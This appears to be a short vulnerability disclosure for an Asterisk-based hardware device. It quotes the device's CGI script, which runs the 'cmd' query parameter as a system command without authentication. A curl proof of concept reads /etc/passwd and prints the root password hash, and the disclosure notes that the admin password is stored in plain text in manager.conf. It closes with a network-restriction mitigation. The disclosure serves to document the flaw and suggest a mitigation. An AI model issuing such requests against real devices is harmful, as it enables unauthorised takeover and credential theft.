Vulnerable file : /www/cgi-bin/system_cmd.cgi
Code shot :
#!/bin/hush
printf '\r\n'
if [ -n "$REQUEST_METHOD" ]; then
case "$REQUEST_METHOD" in
(GET)
if [ -n "$QUERY_STRING" ]; then
for args in `echo "$QUERY_STRING" | tr "&" " "`
do
param=`echo "$args" | cut -d "=" -f 1`
value=`echo "$args" | cut -d "=" -f 2`
eval "export $param=$value"
done

INI_FILE=/etc/asterisk/manager.conf
INI_SECTION=$username
eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
-e 's/;.*$//' \
-e 's/[[:space:]]*$//' \
-e 's/^[[:space:]]*//' \
-e "s/^\(.*\)=\([^\"']*\)$/\1=\'\2\'/" \
< $INI_FILE \
| sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`
password="`/etc/scripts/decodeURI $password`"
[ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION} vmsecret`
if [ "$password" = "$secret" ]; then
cmd=`echo $cmd | sed 's/%20/ /g'`
# cmd=`echo $cmd | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g;s/?r//g' | xargs echo`
$cmd
the GET parameter cmd is freely available to directly execute system commands with no prior required authentication
which lead to full hardware takeover
POC
[0x4148:/R1z]# curl http://server:9999/cgi-bin/system_cmd.cgi\?cmd\='cat%20/etc/passwd'
root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody::
Also by reading file /etc/asterisk/manager.conf
hardware admin's password can be obtained in plain text
Fixing?
Unfortunately the hardware frontend really depend on this file , and the vendor is super lazy on replying on the emails regarding this vulnerability
so , best fixation for now is enabling the web interface browsing from the local network only
